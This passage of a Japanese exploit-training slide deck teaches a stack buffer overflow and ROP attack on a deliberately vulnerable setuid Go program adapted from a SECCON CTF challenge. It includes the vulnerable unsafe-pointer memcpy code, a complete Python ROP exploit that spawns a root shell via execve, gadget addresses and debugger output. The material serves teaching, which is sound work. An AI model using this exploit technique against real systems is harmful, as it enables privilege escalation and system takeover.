    libcの持って いる機能の再実装が行われている ◦ Static Link: シングルバイナリで共有ライブラリに依存しない ◦ Security ▪ メモリ境界はチェックが入るため、 Stack Buffer Overflowなどのメモリ破壊は起こせない ようになっている • Mitigation設定の確認 ◦ メモリの改ざんが出来ない前提のため、 Stack Smashing Protection(Stack Canary)、PIE(実行 コードアドレスのランダム化 )などは無効化されている $ bin/checksec --file hello RELRO STACK CANARY NX PIE .... FILE No RELRO No canary found NX enabled No PIE .... hello
  59. Advanced Exercise - Unsafe Library • Exercise ◦ Unsafeライブラリは生ポインタを用いた操作をサポートしているためメモリ破壊を発生させられ る

    ◦ “3. Advanced”の演習として、バッファオーバーフロー脆弱性のある Goコードを攻撃する ▪ ソースコード ▪ メモリのコピー関数においてバッファオーバーフロー脆弱性が発生 func main() { buf := make([]byte, 32) stdin := bufio.NewScanner(os.Stdin) stdin.Scan() text := stdin.Text() memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text)) ... } func memcpy(dst uintptr, src uintptr, len int) { for i := 0; i < len; i++ { *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src)) dst += 1 src += 1 } } 参考: SECCON CTF2017の問題を一部変更して使用しています Stack Buffer Overflow buf[32]
  60. Advanced Demo • 今回演習で使用する攻撃のデモをします ◦ 何が起きているかをいま理解する必要はありません • 攻撃の実施手順 ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3

    ◦ docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash • 今回の攻撃 ◦ 2と同じくStack Buffer Overflow脆弱性を突いた攻撃 . ただしいくつかのMitigationが有効 ▪ NX bit(DEP)が有効: スタック上のコードを用いて攻撃できない ▪ ASLRが有効: スタックなどのアドレスはランダム化されている ▪ PIEは無効: ELFバイナリに入っている実行コードのアドレスは固定 ▪ SSP(Stack Canary)は無効: Return addressの上書き防御はない ◦ setuidされているbaby_stackの制御を奪い、rootに昇格してシェルを実行 ◦ ROP (Return-oriented programming)と呼ばれる攻撃手法を用いて execveを呼び出す
  61. Advanced Demo - Attacking using exploit_print.py Link

  62. Advanced IDA Pro • IDA Pro ◦ 非常に高機能なディスアセンブラ ◦ 今回は無料版(IDA

    Pro Free)を用いる ▪ 有料版だとスクリプトサポートがある。またデコンパイラも別売されている。 ◦ 2019年にNSAからGhidraというツールがリリース (オープンソース)され、そちらの人気も非常に 高まっている • Goバイナリの内容を確認するためにIDA Pro Freeを試す ◦ Goバイナリにはsyscall.Syscallという、libcのようなシステムコールの wrapper関数が含まれて いる ◦ syscall.Syscallというfunctionを見つけるのと、アセンブリを確認するために IDA Pro Freeを使う ◦ → syscall.Syscallのアドレス: 0x481E40
  63. Advanced [Demo] IDA Pro Link

  64. Advanced Stack Frame (Go) • GoのスタックフレームはCと異なる ◦ Go ▪ 引数

    (Arguments) • 全てStackにsetして渡す • 参考: Cもx86(32bit)だとStack渡し ▪ 戻り値 (Return values) • Stackにsetして返す • 複数の戻り値を持てる ◦ C ▪ 引数 (Arguments) • レジスタ経由. 足りない場合はStackに set ▪ 戻り値 (Return values) • raxレジスタにsetして返す Stack Segment ↑ High Address Virtual Memory (仮想メモリ) Low Address Return Address Local Variables Saved RBP Arguments Return values Return Address Local Variables Saved RBP Arguments Return values function1 function2 Go
  65. Advanced Stack Frame (Go) Stack Segment ↑ High Address Virtual

    Memory (仮想メモリ) Low Address Arguments1: execve(59) Return values syscall. Syscall Arguments2: “/bin/sh” Arguments3: [“/bin/sh”, “-p”] Arguments4: NULL(0x00) Return address Local Values • syscall.Syscall ◦ 攻撃のゴール: execve(“/bin/sh”, [“/bin/sh”, “-p”], 0x00) を呼ぶ ▪ スタックフレームの状態は右記のようになる。 ◦ 今回はNX bit (DEP)が有効化されており、スタック領域 にShellcodeを置けない ▪ 実行ファイルに含まれる、この Syscall funcを用 いてSystemcallを呼び出す func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
  66. Advanced How to attack • 攻撃方法 ◦ 1. “/bin/sh”や”-p”などがメモリ上にないので、メモリ上に 攻撃に必要な文字列を読み込む

    ◦ read(0, .bss segment address, 100) ▪ 0 = 標準入力 ▪ .bss = ASLRでランダム化されないアドレス ▪ 100 = 入力を受け付ける上限 ◦ 2. execveシステムコールを呼ぶ ◦ execve(“/bin/sh”, [“/bin/sh”, “-p”], 0) ▪ “/bin/sh” ▪ [“/bin/sh”, “-p”] ▪ 0 • 固定されたメモリアドレス上に文字列を読み込 み、そのアドレスをexecveに渡す 0xffffffffffffffff 0x00 Virtual Memory (仮想メモリ) Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 .data Segment * Only major segments included “/bin/sh\0” “-p\0”, array... write
  67. Advanced How to attack - ROP • Stackをこの状態にすれば、read()、execve()をcallして、攻撃が成立する • 実行コード上のReturn命令を駆使して任意コード実行していく

    Return Address buf[] Saved RBP Arguments Return values main() original Stack layout 000000000000000000000000 000000000000 &syscall.Syscall pointer of “add rsp, 32; ret” arg1: read (0) ret1 ret2 .text segment (syscall.Syscall func) … syscall … ret (? func) ... add rsp, 0x38(56) ret ... arg2: standard input (0) arg3: .bss address arg4: 0x100 dummy(0\0\0\0\0\0\0\0) arg1: execve (59) arg2: pointer of “/bin/sh” arg3: pointer of [“/bin/sh”, “-p”] arg4: 0 .bss segment “/bin/sh\0” “-p\0\0\0\0\0\0” 64bit pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) Array Adjust Stack Address ret3 Overwritten by read() 攻撃の流れ 1. read() syscall 2. add rspしてスタック位置の調整 3. execve() syscall 64bit dummy(return value1) dummy(return value2) dummy(return value3) &syscall.Syscall 56byte
  68. Advanced Exploit addr_bss = 0x564200 shellcode = "\0" * 224

    shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(1) -> syscall.Syscall shellcode += struct.pack("<Q", 0x0040197f) # Return Pointer(2) -> (add rsp, 0x38 ; ret) shellcode += struct.pack("<Q", 0) # Arg1 of Syscall: 0 (read) shellcode += struct.pack("<Q", 0) # Arg2 of Syscall: 0 (stdin) shellcode += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellcode += struct.pack("<Q", 0x100) # Arg4 of Syscall shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(3) -> syscall.Syscall shellcode += struct.pack("<Q", 0) # Return Pointer(4) -> dummy shellcode += struct.pack("<Q", 59) # Arg1 of Syscall: (execve) shellcode += struct.pack("<Q", addr_bss) # Arg2 of Syscall: shellcode += struct.pack("<Q", addr_bss + 0x10) # Arg3 of Syscall: shellcode += struct.pack("<Q", 0) # Arg4 of Syscall print(shellcode) sys.stdout.flush() time.sleep(1) shellstr = "/bin/sh\0" shellstr += "-p\0\0\0\0\0\0" shellstr += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", addr_bss + 0x08) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", 0) # Arg3 of Syscall: .bss print(shellstr) sys.stdout.flush() exploit_print.py main() func内のscan()向け 呼び出されたread syscall向け 攻撃の流れ 1. read() syscall 2. add rspしてスタック位置の調整 3. execve() syscall
  69. Advanced Exercise - GDB Demo Link GDB with Stack Layout

    Image
  70. Advanced Exercise • 実践 ◦ 下記資料に沿ってやってみてください ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3 • GDBを用いた理解

    (次ページにビデオあり) ◦ 下記コマンドでmain()関数のretまで自動実行されます ▪ gdb bof -x gdb-autocommand • read()システムコールに対しての入力 (“/bin/sh”などの書き込み)も行われます ◦ 下記に注目してください ▪ リターンポインタが上書きされた後、 ret命令でsyscall.Syscallに制御が移るところ ▪ retを使って別の関数に渡っていくことによって最終的に execveシステムコールが呼び出 されるところ
  71. Advanced (Reference) ROP (Return-Oriented Programming) • ROP (Return-Oriented Programming) ◦

    今回のように、Return命令を組み合わせて任意のコードを実行する手段を ROPと呼ぶ ◦ 実行コードに含まれる 「****; ret」という命令を組み合わせて、任意のコードを実行していく ▪ 今回は「add rsp, 0x38 (56); ret」という命令を利用して Stackの調整を行った • ROP Gadget ◦ 実行コード中にある「 ****; ret」という機械語のカタマリを ROP Gadgetと呼ぶ ◦ rp++というツールで、実行コードに含まれる ROP Gadgetの一覧を取得できる # rp-lin-x64 -f baby_stack -r 1 --unique … 0x00403561: add rsp, 0x30 ; ret ; (199 found) 0x0040197f: add rsp, 0x38 ; ret ; (111 found) 0x00402ae0: add rsp, 0x40 ; ret ; (114 found) … address
  72. Advanced (Reference) .bss segment address • read system callで.bss segmentアドレスへの書き込みを行った

    ◦ .bssアドレスの見つけ方 ▪ (PIEでない場合は、アドレスがランダム化されない ) ▪ GDBでbss領域のメモリの状態を見る # readelf -W -e baby_stack … Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al ... [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32 ... gdb-peda$ hexdump 0x564200 48 0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p...... 0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV..... 0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................
  73. Summary • コンピュータの動作から、攻撃手法、Mitigation技術を見てきた ◦ 1. Introduction ▪ コンピュータの動きについての説明 ◦ 2.

    Stack Buffer Overflow ▪ Stack Buffer Overflowの実践 ◦ 3. Advanced ▪ 攻撃Mitigation技術および回避手法の実践 • これからも攻撃と防御のいたちごっこは続いていく ▪ 定期的に新しい脆弱性が公開される ▪ 攻撃の流れやコンピュータの動作を知ることで、どのような脆弱性なのか、どのように攻 撃されるのか、特性を理解するのが容易になる • 自分のアプリケーション • 自分のアプリケーション内で使っているライブラリ • 管理しているサーバ・コンテナ上のアプリケーション • Enjoy hacking :)
  74. Thanks!

  75. References • 参考書籍 ◦ 『コンピュータの構成と設計 』(上・下) パターソン&ヘネシー ◦ 『Hacking: 美しき策謀

    第2版 ―脆弱性攻撃の理論と実際 』Jon Erickson ◦ 『[試して理解]Linuxのしくみ ~実験と図解で学ぶ OSとハードウェアの基礎知識 』 武内 覚 • 攻撃参考Webサイト ◦ 2. Stack Buffer Overflow ▪ 『x64でスタックバッファオーバーフローをやってみる 』 ももいろテクノロジー ◦ 3. Advanced ▪ 『SECCON 2017 Online Exploit作問(Baby Stack)』 つれづれなる備忘録 • 主要使用ツール ◦ IDA Pro Free Disassembler ◦ gdb-peda GDB Extension (slide) ◦ checksec Check security properties of executables ◦ Radare2 Reverse engineering framework and command-line toolset (including rasm2) ◦ rp++ Find ROP gadgets
  76. Special Thanks • Reviewers ◦ kcz (@kcz146)